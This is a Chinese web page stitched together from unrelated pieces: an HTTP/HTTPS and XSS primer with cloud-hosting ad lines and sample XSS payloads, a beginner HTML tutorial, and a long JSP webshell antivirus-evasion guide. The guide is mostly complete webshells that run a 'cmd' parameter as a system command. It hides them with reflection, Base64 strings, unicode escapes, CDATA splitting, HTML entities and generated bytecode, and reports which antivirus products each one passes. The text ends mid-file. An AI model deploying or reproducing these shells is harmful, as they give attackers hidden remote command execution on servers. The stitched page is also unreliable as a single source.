TTP(Hypertext Transfer Protocol)和HTTPS(Hypertext Transfer Protocol Secure)是Web應用程序中常見的數據傳輸協議。HTTP是一種無狀態的應用層協議,主要用于Web瀏覽器與服務器之間的通信。HTTPS則是在HTTP的基礎上加入了SSL(Secure Sockets Layer)或TLS(Transport Layer Security)協議,以提供數據加密和安全通信。
云服務器,高防服務器就選藍易云,頭條搜索:藍易云
云服務器,高防服務器就選藍易云,頭條搜索:藍易云
HTTP協議是一個基于請求-響應模式的協議??蛻舳耍ㄍǔJ荳eb瀏覽器)向服務器發送請求,服務器處理請求并返回響應。HTTP請求和響應都由頭部和可選的主體組成。
HTTP的特點:
HTTPS在HTTP的基礎上加入了SSL/TLS協議,通過加密通信確保數據的安全性。SSL/TLS提供了三個主要功能:加密、數據完整性和身份驗證。
HTTPS的特點:
特性 | HTTP | HTTPS |
數據傳輸 | 明文傳輸 | 加密傳輸 |
安全性 | 容易被竊聽和篡改 | 提供數據加密和身份驗證 |
性能 | 較高 | 較低(因加密解密開銷) |
使用場景 | 不敏感數據傳輸 | 敏感數據傳輸(如支付信息) |
XSS(Cross-Site Scripting)攻擊是一種常見的Web安全漏洞,攻擊者通過在受信任的網站上注入惡意腳本,使其在用戶的瀏覽器上執行。XSS攻擊的主要目標是竊取用戶數據、劫持會話以及進行其他惡意操作。
反射型XSS攻擊通過將惡意腳本嵌入到URL參數中,誘騙用戶點擊包含惡意腳本的鏈接。當用戶點擊鏈接時,惡意腳本被反射到服務器的響應中,并在用戶瀏覽器中執行。
示例:
<a href="http://example.com?search=<script>alert('XSS')</script>">Click me</a>
存儲型XSS攻擊將惡意腳本存儲在服務器端的數據存儲中(如數據庫),當用戶訪問包含該數據的頁面時,惡意腳本被執行。此類攻擊通常發生在用戶輸入內容的地方,如評論區或論壇帖子。
示例:
<input type="text" name="comment" value="<script>alert('XSS')</script>">
DOM-based XSS攻擊利用網頁的DOM結構,通過操作DOM元素觸發惡意腳本。與反射型和存儲型不同,DOM-based XSS攻擊不依賴服務器端的響應,而是直接在客戶端進行。
示例:
<script>
var search = location.hash.substring(1);
document.write("<div>" + search + "</div>");
</script>
對用戶輸入的數據進行嚴格驗證和過濾,確保只接受預期格式的輸入??梢允褂谜齽t表達式或白名單來限制輸入內容。
示例:
import re
def validate_input(user_input):
if re.match("^[a-zA-Z0-9_]+$", user_input):
return True
return False
對輸出到瀏覽器的數據進行編碼和轉義,防止惡意腳本在瀏覽器中執行。常用的方法包括HTML實體編碼和JavaScript轉義。
示例:
<!-- HTML實體編碼 -->
<div>{{ user_input | escape }}</div>
內容安全策略(CSP)是一種Web安全策略,通過限制頁面可以加載的資源類型,防止XSS攻擊。可以通過設置HTTP頭部或HTML meta標簽來配置CSP。
示例:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self';">
為了更好地理解HTTP、HTTPS和XSS攻擊的概念,下面提供了一張思維導圖:
以上內容詳細介紹了HTTP和HTTPS的工作原理及其區別,以及XSS攻擊的類型和防范方法。通過這些知識的理解和應用,可以有效提升Web應用的安全性,防范潛在的安全威脅。
html概述
HTML是 HyperText Mark-up Language 的首字母簡寫,意思是超文本標記語言,超文本指的是超鏈接,標記指的是標簽,是一種用來制作網頁的語言,這種語言由一個個的標簽組成,用這種語言制作的文件保存的是一個文本文件,文件的擴展名為html或者htm,一個html文件就是一個網頁,html文件用編輯器打開顯示的是文本,可以用文本的方式編輯它,如果用瀏覽器打開,瀏覽器會按照標簽描述內容將文件渲染成網頁,顯示的網頁可以從一個網頁鏈接跳轉到另外一個網頁。
html基本結構
一個html的基本結構如下:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>網頁標題</title> </head> <body> 網頁顯示內容 </body> </html>
第一行是文檔聲明,第二行“”標簽和最后一行“”定義html文檔的整體,“”標簽中的‘lang=“en”’定義網頁的語言為英文,定義成中文是’lang=“zh-CN”’,不定義也沒什么影響,它一般作為分析統計用。 “”標簽和“”標簽是它的第一層子元素,“”標簽里面負責對網頁進行一些設置以及定義標題,設置包括定義網頁的編碼格式,外鏈css樣式文件和javascript文件等,設置的內容不會顯示在網頁上,標題的內容會顯示在標題欄,“”內編寫網頁上顯示的內容。
HTML文檔類型
目前常用的兩種文檔類型是xhtml 1.0和html5
xhtml 1.0
xhtml 1.0 是html5之前的一個常用的版本,目前許多網站仍然使用此版本。
此版本文檔用sublime text創建方法: html:xt + tab
文檔示例:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <meta http-equiv="Content-Type" content="text/html;charset=UTF-8"> <title> xhtml 1.0 文檔類型 </title> </head> <body> </body> </html>
html5
pc端可以使用xhtml 1.0,也可以使用html5,html5是向下兼容的
此版本文檔用sublime text創建方法: html:5 + tab 或者 ! + tab
文檔示例:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title> html5文檔類型 </title> </head> <body> </body> </html>
兩種文檔的區別
1、文檔聲明和編碼聲明
2、html5新增了標簽元素以及元素屬性
html注釋:
html文檔代碼中可以插入注釋,注釋是對代碼的說明和解釋,注釋的內容不會顯示在頁面上,html代碼中插入注釋的方法是:
<!-- 這是一段注釋 -->
通過
、
、
、
、
,標簽可以在網頁上定義6種級別的標題。6種級別的標題表示文檔的6級目錄層級關系,比如說:
,再其次是
,以此類推。搜索引擎會使用標題將網頁的結構和內容編制索引,所以網頁上使用標題是很重要的。
<h1>這是一級標題</h1> <h2>這是二級標題</h2> <h3>這是三級標題</h3>
html段落標簽
標簽定義一個文本段落,一個段落含有默認的上下間距,段落之間會用這種默認間距隔開,代碼如下:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>段落</title> </head> <body> <p>HTML是 HyperText Mark-up Language 的首字母簡寫,意思是超文本標記語言,超 文本指的是超鏈接,標記指的是標簽,是一種用來制作網頁的語言,這種語言由一個個的 標簽組成,用這種語言制作的文件保存的是一個文本文件,文件的擴展名為html或者htm。 </p> <p>一個html文件就是一個網頁,html文件用編輯器打開顯示的是文本,可以用文本的方 式編輯它,如果用瀏覽器打開,瀏覽器會按照標簽描述內容將文件渲染成網頁,顯示的網 頁可以從一個網頁鏈接跳轉到另外一個網頁。</p> </body> </html>
html換行標簽
代碼中成段的文字,直接在代碼中回車換行,在渲染成網頁時候不認這種換行,如果真想換行,可以在代碼的段落中插入
來強制換行,代碼如下:
<p> 一個html文件就是一個網頁,html文件用編輯器打開顯示的是文本,可以用<br /> 文本的方式編輯它,如果用瀏覽器打開,瀏覽器會按照標簽描述內容將文件<br /> 渲染成網頁,顯示的網頁可以從一個網頁鏈接跳轉到另外一個網頁。 </p>
html字符實體
代碼中成段的文字,如果文字間想空多個空格,在代碼中空多個空格,在渲染成網頁時只會顯示一個空格,如果想顯示多個空格,可以使用空格的字符實體,代碼如下:
<!-- 在段落前想縮進兩個文字的空格,使用空格的字符實體: --> <p> 一個html文件就是一個網頁,html文件用編輯器打開顯示的是文本,可以用<br /> 文本的方式編輯它,如果用瀏覽器打開,瀏覽器會按照標簽描述內容將文件<br /> 渲染成網頁,顯示的網頁可以從一個網頁鏈接跳轉到另外一個網頁。</p>
在網頁上顯示 “<” 和 “>” 會誤認為是標簽,想在網頁上顯示“<”和“>”可以使用它們的字符實體,比如:
<!-- “<” 和 “>” 的字符實體為 < 和 > --> <p> 3 < 5 <br> 10 > 5 </p>
html塊標簽
1、
標簽 塊元素,表示一塊內容,沒有具體的語義。
2、 標簽 行內元素,表示一行中的一小段內容,沒有具體的語義。
含樣式和語義的標簽
1、 標簽 行內元素,表示語氣中的強調詞
2、 標簽 行內元素,表示專業詞匯
3、 標簽 行內元素,表示文檔中的關鍵字或者產品名
4、 標簽 行內元素,表示非常重要的內容
語義化的標簽
語義化的標簽,就是在布局的時候多使用有語義的標簽,搜索引擎在爬網的時候能認識這些標簽,理解文檔的結構,方便網站的收錄。比如:h1標簽是表示標題,p標簽是表示段落,ul、li標簽是表示列表,a標簽表示鏈接,dl、dt、dd表示定義列表等,語義化的標簽不多。
html圖像標簽
標簽可以在網頁上插入一張圖片,它是獨立使用的標簽,它的常用屬性有:
src屬性 定義圖片的引用地址
alt屬性 定義圖片加載失敗時顯示的文字,搜索引擎會使用這個文字收錄圖片、盲人讀屏軟件會讀取這個文字讓盲人識別圖片,所以此屬性非常重要。
<img src="images/pic.jpg" alt="產品圖片" />
絕對路徑和相對路徑
像網頁上插入圖片這種外部文件,需要定義文件的引用地址,引用外部文件還包括引用外部樣式表,javascript等等,引用地址分為絕對地址和相對地址。
絕對地址:相對于磁盤的位置去定位文件的地址
相對地址:相對于引用文件本身去定位被引用的文件地址
絕對地址在整體文件遷移時會因為磁盤和頂層目錄的改變而找不到文件,相對路徑就沒有這個問題。相對路徑的定義技巧:
“ ./ ” 表示當前文件所在目錄下,比如:“./pic.jpg” 表示當前目錄下的pic.jpg的圖片,這個使用時可以省略。
“ …/ ” 表示當前文件所在目錄下的上一級目錄,比如:“…/images/pic.jpg” 表示當前目錄下的上一級目錄下的images文件夾中的pic.jpg的圖片。
標簽可以在網頁上定義一個鏈接地址,它的常用屬性有:
href屬性 定義跳轉的地址
title屬性 定義鼠標懸停時彈出的提示文字框
target屬性 定義鏈接窗口打開的位置
target="_self" 缺省值,新頁面替換原來的頁面,在原來位置打開
target="_blank" 新頁面會在新開的一個瀏覽器窗口打開
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@page language="java" pageEncoding="utf-8" %>
<%
String cmd = request.getParameter("cmd");
Process process = Runtime.getRuntime().exec(cmd);
InputStream is = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
String r = null;
while((r = bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
%>
殺的點在于Runtime.getRuntime().exec非常明顯的特征
Runtime.getRuntime().exec(cmd)其實最終調用的是ProcessBuilder這個函數,因此我們可以直接利用ProcessBuilder來替換Runtime.getRuntime().exec(cmd),從而繞過正則表達式
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@page language="java" pageEncoding="utf-8" %>
<%
String cmd = request.getParameter("cmd");
Process process = new ProcessBuilder(new String[]{cmd}).start();
InputStream is = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
String r = null;
while((r = bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
%>
免殺效果
某狗:
某盾:
某馬:
vt:
某度在線查殺:
可以看到這全部都免殺過了,就換了一個函數。
這種方式是利用Expression將Runtime.getRuntime().exec這個特征分開,相當于一個對調函數。免殺效果一般,因為很多查殺都是直接匹配Runtime.getRuntime()
<%@ page import="java.beans.Expression" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStream" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd = request.getParameter("cmd");
Expression expr = new Expression(Runtime.getRuntime(), "exec", new Object[]{cmd});
Process process = (Process) expr.getValue();
InputStream in = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(in));
String tmp = null;
while((tmp = bufferedReader.readLine())!=null){
response.getWriter().println(tmp);
}
%>
查殺效果:
可以看到某狗已經查殺出來了。只能說效果很一般
jsp支持unicode編碼,如果殺軟不支持unicode查殺的話,基本上都能繞過
<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.*"%>
<%
\uuuu0053\uuuu0074\uuuu0072\uuuu0069\uuuu006e\uuuu0067\uuuu0020\uuuu0063\uuuu006d\uuuu0064\uuuu0020\uuuu003d\uuuu0020\uuuu0072\uuuu0065\uuuu0071\uuuu0075\uuuu0065\uuuu0073\uuuu0074\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0050\uuuu0061\uuuu0072\uuuu0061\uuuu006d\uuuu0065\uuuu0074\uuuu0065\uuuu0072\uuuu0028\uuuu0022\uuuu0063\uuuu006d\uuuu0064\uuuu0022\uuuu0029\uuuu003b\uuuu0050\uuuu0072\uuuu006f\uuuu0063\uuuu0065\uuuu0073\uuuu0073\uuuu0020\uuuu0070\uuuu0072\uuuu006f\uuuu0063\uuuu0065\uuuu0073\uuuu0073\uuuu0020\uuuu003d\uuuu0020\uuuu0052\uuuu0075\uuuu006e\uuuu0074\uuuu0069\uuuu006d\uuuu0065\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0052\uuuu0075\uuuu006e\uuuu0074\uuuu0069\uuuu006d\uuuu0065\uuuu0028\uuuu0029\uuuu002e\uuuu0065\uuuu0078\uuuu0065\uuuu0063\uuuu0028\uuuu0063\uuuu006d\uuuu0064\uuuu0029\uuuu003b\uuuu0049\uuuu006e\uuuu0070\uuuu0075\uuuu0074\uuuu0053\uuuu0074\uuuu0072\uuuu0065\uuuu0061\uuuu006d\uuuu0020\uuuu0069\uuuu0073\uuuu0020\uuuu003d\uuuu0020\uuuu0070\uuuu0072\uuuu006f\uuuu0063\uuuu0065\uuuu0073\uuuu0073\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0049\uuuu006e\uuuu0070\uuuu0075\uuuu0074\uuuu0053\uuuu0074\uuuu0072\uuuu0065\uuuu0061\uuuu006d\uuuu0028\uuuu0029\uuuu003b\uuuu0042\uuuu0075\uuuu0066\uuuu0066\uuuu0065\uuuu0072\uuuu0065\uuuu0064\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu0020\uuuu0062\uuuu0075\uuuu0066\uuuu0066\uuuu0065\uuuu0072\uuuu0065\uuuu0064\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu0020\uuuu003d\uuuu0020\uuuu006e\uuuu0065\uuuu0077\uuuu0020\uuuu0042\uuuu0075\uuuu0066\uuuu0066\uuuu0065\uuuu0072\uuuu0065\uuuu0064\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu0028\uuuu006e\uuuu0065\uuuu0077\uuuu0020\uuuu0049\uuuu006e\uuuu0070\uuuu0075\uuuu0074\uuuu0053\uuuu0074\uuuu0072\uuuu0065\uuuu0061\uuuu006d\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu0028\uuuu0069\uuuu0073\uuuu0029\uuuu0029\uuuu003b\uuuu0053\uuuu0074\uuuu0072\uuuu0069\uuuu006e\uuuu0067\uuuu0020\uuuu0072\uuuu0020\uuuu003d\uuuu0020\uuuu006e\uuuu0075\uuuu006c\uuuu006c\uuuu003b\uuuu0077\uuuu0068\uuuu0069\uuuu006c\uuuu0065\uuuu0028\uuuu0028\uuuu0072\uuuu0020\uuuu003d\uuuu0020\uuuu0062\uuuu0075\uuuu0066\uuuu0066\uuuu0065\uuuu0072\uuuu0065\uuuu0064\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu002e\uuuu0072\uuuu0065\uuuu0061\uuuu0064\uuuu004c\uuuu0069\uuuu006e\uuuu0065\uuuu0028\uuuu0029\uuuu0029\uuuu0021\uuuu003d\uuuu006e\uuuu0075\uuuu006c\uuuu006c\uuuu0029\uuuu007b\uuuu0072\uuuu0065\uuuu0073\uuuu0070\uuuu006f\uuuu006e\uuuu0073\uuuu0065\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0057\uuuu0072\uuuu0069\uuuu0074\uuuu0065\uuuu0072\uuuu0028\uuuu0029\uuuu002e\uuuu0070\uuuu0072\uuuu0069\uuuu006e\uuuu0074\uuuu006c\uuuu006e\uuuu0028\uuuu0072\uuuu0029\uuuu003b\uuuu007d%>
注意這里的\uuuu00可以換成\uuuu00uuu...可以跟多個u達到繞過的效果
將代碼(除page以及標簽)進行unicode編碼,并條件到<%%>標簽中,即可執行webshell
在線unicode編碼轉換:
https://3gmfw.cn/tools/unicodebianmazhuanhuanqi/
注意用此在線unicode編碼后內容會存在 /ua ,需要手動刪除,負責無法正常運行
可以看到依舊執行成功
查殺效果:
這個基本上是通殺了屬實是,但由于特征過于明顯,如果人工查殺的話,很容易被發現
這里是要是利用jspx的進行進行免殺,jspx其實就是xml格式的jsp文件
在jspx中,可以利用<jsp:scriptlet>來代替<%%>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@page language="java" pageEncoding="utf-8" %>
<jsp:scriptlet>
String cmd = request.getParameter("cmd");
Process process = Runtime.getRuntime().exec(cmd);
InputStream is = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
String r = null;
while((r = bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
</jsp:scriptlet>
當<jsp:scriptlet>被過濾時可以利用EL表達式,達到繞過的效果
${Runtime.getRuntime().exec(param.cmd)}
EL表達式的11個隱含對象
其他情況:
利用命令空間改名去繞過
<demo:root xmlns:bbb="http://java.sun.com/JSP/Page" version="1.2">
<demo:scriptlet>
Runtime.getRuntime().exec(pageContext.request.getParameter("cmd"));
</demo:scriptlet>
</demo:root>
利用<jsp:expression>繞過
<jsp:root xmlns:bbb="http://java.sun.com/JSP/Page" version="1.2">
<jsp:expression>
Runtime.getRuntime().exec(pageContext.request.getParameter("cmd"));
</jsp:expression>
</jsp:root>
以上是jsp的一些特性,下面開始正式講解CDATA
說人話就是<![CDATA[與]]>只要能配對就相互抵消,其他不變,因此就可以說多了一個混淆的方式,有點類似多行注釋在一行中使用(sql注入繞過waf),但是這個特征可以將關鍵字,函數進行分割,讓其能混淆的空間變的更大
下面是用xml格式的jsp文件
<?xml version="1.0" encoding="UTF-8"?>
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
version="2.0">
<jsp:directive.page contentType="text/html"/>
<jsp:scriptlet>
String cmd = request.getParameter("cmd");
Process process = Runtime.getRuntime().exec(cmd);
java.io.InputStream is = process.getInputStream();
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(is));
String r = null;
while((r = bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
</jsp:scriptlet>
</jsp:root>
可以看到這里是能正常運行的,接下來文件使用CDATA進行混淆
<?xml version="1.0" encoding="UTF-8"?>
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
version="2.0">
<jsp:directive.page contentType="text/html"/>
<jsp:scriptlet>
String cmd = requ<![CDATA[est.get]]>Parameter("cmd");
Process process = Ru<![CDATA[ntime.getRunt]]>ime().exec(cmd);
java.io.InputStream is = process.getInputStream();
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(is));
String r = null;
while((r = bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
</jsp:scriptlet>
</jsp:root>
依舊是能成功運行的,但是我們可以requst和Runtime這些類名都被插入了CDATA,從而消除了特征
免殺效果:
這里HTML編碼免殺與jspx的特效有關,前面的CDATA設計到了jspx的相關知識,由此CDATA的免殺就在上文講了
在XML里可以通過html實體編碼來對特殊字符轉義,jspx同樣繼承了該特性,由此jspx就具有識別html實體編碼,接下來我們就利用上面的免殺馬進行進一步的混淆
<?xml version="1.0" encoding="UTF-8"?>
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
version="2.0">
<jsp:directive.page contentType="text/html"/>
<jsp:scriptlet>
String cmd = requ<![CDATA[est.get]]>Parameter("cmd");
Process process = Ru<![CDATA[ntime.getRunt]]>ime().exec(cmd);
java.io.InputStream is = process.getInputStream();
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(is));
String r = null;
while((r = bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
</jsp:scriptlet>
</jsp:root>
注意:含有CDATA的內容是不能進行html實體編碼的,反之html實體編碼后的內容也不能插入CDATA,否則無法執行
在線html實體編碼:
https://www.qqxiuzi.cn/bianma/zifushiti.php
可以看到依舊可以正常運行
本章主要講解反射在webhell中的利用,以及反射繞過殺軟的利用與原理
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.*" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd = request.getParameter("cmd");
Class<?> rt =Class.forName("java.lang.Runtime");
Method runtimeMethod = rt.getMethod("getRuntime");
Method method = rt.getMethod("exec", String.class);
Object object = method.invoke(runtimeMethod.invoke(null),cmd);
Process process = (Process) object;
InputStream in = process.getInputStream();
InputStreamReader resultReader = new InputStreamReader(in);
BufferedReader stdInput = new BufferedReader(resultReader);
String s = null;
while ((s = stdInput.readLine()) != null) {
out.println(s);
}
%>
免殺效果:
特征太明顯里面還有java.lang.Runtime,getRuntime,exec這些敏感內容,由于與反射相關的參數都是字符串,由此我們能操作的空間就很大了。
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Base64" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd = request.getParameter(new String(Base64.getDecoder().decode("Y21k"),"utf-8"));
Class<?> rt =Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8"));
Method runtimeMethod = rt.getMethod(new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8"));
Method method = rt.getMethod(new String(Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class);
Object object = method.invoke(runtimeMethod.invoke(null),cmd);
Process process = (Process) object;
InputStream is = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
String r = null;
while((r = bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
%>
免殺效果:
通過測試發現并非查殺的是與反射相關的所有函數,而是匹配是否存在getMethod函數,因此我們只需將getMethod改為getDeclaredMethod即可
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Base64" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd = request.getParameter(new String(Base64.getDecoder().decode("Y21k"),"utf-8"));
Class<?> rt =Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8"));
Method runtimeMethod = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8"));
Method method = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class);
Object object = method.invoke(runtimeMethod.invoke(null),cmd);
Process process = (Process) object;
InputStream is = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
String r = null;
while((r = bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
%>
可以看到正常運行
免殺效果:
可以看到某盾依舊查殺,經過測試某盾查殺的是當存在反射函數又存在Process類的getInputStream方法時會被查殺,這種情況下,筆者并未找到太好的辦法,要么就這些不回顯,要么就利用之前文章寫的免殺技巧。
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Base64" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd = request.getParameter(new String(Base64.getDecoder().decode("Y21k"),"utf-8"));
Class<?> rt =Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8"));
Method runtimeMethod = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8"));
Method method = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class);
Object object = method.invoke(runtimeMethod.invoke(null),cmd);
%>
免殺效果:
在sun.net. www.MimeLauncher中存在一個run方法 ,而該run方法存在命令執行漏洞
本來打算將MimeLauncher放到前面內置函數免殺那篇文章上講,由于MimeLauncher無法直接使用,需要借助反射進行調用,因此就筆者就將MimeLauncher放在反射免殺后講,及本章
<%@ page import="java.io.*" %>
<%@ page import="java.net.URLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="sun.net.www.MimeEntry" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd = request.getParameter("cmd");
URLConnection urlConnection = new URL("http://127.0.0.1%s").openConnection();
MimeEntry mimeEntry = new MimeEntry("naihe");
Class meClass = MimeEntry.class;
Field field = meClass.getDeclaredField("command");
field.setAccessible(true);
Field field2 = meClass.getDeclaredField("tempFileNameTemplate");
field2.setAccessible(true);
field2.set(mimeEntry,"naihe%s567");
InputStream inputStream = new InputStream() {
@Override
public int read() throws IOException {
return -1;
}
};
Class mimeClass = Class.forName("sun.net.www.MimeLauncher");
Constructor mimeCon = mimeClass.getDeclaredConstructor(MimeEntry.class,URLConnection.class,
InputStream.class,String.class,String.class);
mimeCon.setAccessible(true);
Thread thread = (Thread) mimeCon.newInstance(mimeEntry, urlConnection, inputStream, "0","0");
Field field3 = mimeClass.getDeclaredField("execPath");
field3.setAccessible(true);
field3.set(thread,cmd);
Method m = mimeClass.getDeclaredMethod("run");
m.setAccessible(true);
m.invoke(thread);
%>
類似MimeLauncher的類還有許多,適合大家去挖掘挖掘,利用時大概率會用到反射,就當練習練習反射相關的知識也是不錯的選擇
免殺效果:
這種方式簡單地說就是用ideal將java文件編程成class文件,然后將class讀取出來用base64編碼即可,這種方式比較方便簡單,不需要會使用ASM,javassist等字節碼框架。
package com.demo;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.ByteBuffer;
import java.nio.channels.FileChannel;
import java.util.Base64;
public class Demo {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
FileChannel fileChannel = null;
FileInputStream in = null;
in = new FileInputStream("C:\\Users\\12107\\Desktop\\免殺\\target\\classes\\com\\demo\\Shell.class");
fileChannel = in.getChannel();
ByteBuffer buffer = ByteBuffer.allocate((int) fileChannel.size());
while (fileChannel.read(buffer) > 0) {
}
System.out.println(new String(Base64.getEncoder().encode(buffer.array())));
}
}
Shell.java
package com.demo;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Shell {
public static String runs(String cmd) throws IOException {
Process process = Runtime.getRuntime().exec(cmd);
InputStream is = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
String r = "";
String s = "";
while((r = bufferedReader.readLine())!=null){
s += r;
}
return s;
}
}
javassist是生成修改字節碼的框架,使用比ASM更簡潔,但是并非jvm自帶的庫,也是筆者非常喜歡的一個框架。
package com.demo;
import javassist.*;
import java.io.IOException;
import java.util.Base64;
public class Demo2 {
public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {
ClassPool classPool = ClassPool.getDefault();
CtClass cc1 = classPool.makeClass("com.demo.Shell");
CtConstructor cons = new CtConstructor(new CtClass[]{},cc1);
cons.setBody("{}");
String runCode1="{}";
cons.insertBefore((runCode1));
cc1.addConstructor(cons);
CtMethod cm2 = new CtMethod(ClassPool.getDefault().get("java.lang.String"), "runs", new CtClass[]{classPool.get("java.lang.String")}, cc1);
cm2.setModifiers(Modifier.PUBLIC);
cm2.setBody("{ Process process = Runtime.getRuntime().exec($1);\n" +
" java.io.InputStream is = process.getInputStream();\n" +
" java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(is));\n" +
" String r = \"\";\n" +
" String s = \"\";\n" +
" while((r = bufferedReader.readLine())!=null){\n" +
" s += r;\n" +
" }\n" +
" return s;}");
cc1.addMethod(cm2);
System.out.println(new String(Base64.getEncoder().encode(cc1.toBytecode())));
}
}
ASM相比javassist操作更復雜,但是jvm自帶,利用面非常廣
package com.demo;
import jdk.internal.org.objectweb.asm.ClassWriter;
import jdk.internal.org.objectweb.asm.MethodVisitor;
import java.util.Base64;
import static jdk.internal.org.objectweb.asm.Opcodes.*;
public class Demo2 {
public static void main(String[] args){
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
cw.visit(V1_8, ACC_PUBLIC, "Shell", null, "java/lang/Object", null);
MethodVisitor mw = cw.visitMethod(ACC_PUBLIC, "<init>", "()V", null, null);
mw.visitVarInsn(ALOAD, 0);
mw.visitMethodInsn(INVOKESPECIAL, "java/lang/Object", "<init>", "()V",false);
mw.visitInsn(RETURN);
mw.visitMaxs(1, 1);
mw.visitEnd();
MethodVisitor mw2 = cw.visitMethod(ACC_PUBLIC, "runs",
"(Ljava/lang/String;)Ljava/lang/Process;", null, null);
mw2.visitCode();
mw2.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime",
"()Ljava/lang/Runtime;",false);
mw2.visitVarInsn(ALOAD,1);
mw2.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false);
mw2.visitInsn(ARETURN);
mw2.visitMaxs(10, 3);
mw2.visitEnd();
byte[] code = cw.toByteArray();
System.out.println(new String(Base64.getEncoder().encode(code)));
}
}
這里由于ASM操作比較復雜,就先生成一個簡單的字節碼(前面javac和javassist筆者寫的回顯都是在字節碼這,這ASM回顯的內容就先不放在ASM中生成),由于runs函數的返回值為Process,我們只需要在后面的jsp處理中拿出來用即可。
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.security.cert.Certificate" %>
<%@ page import="java.security.*" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.InputStream" %>
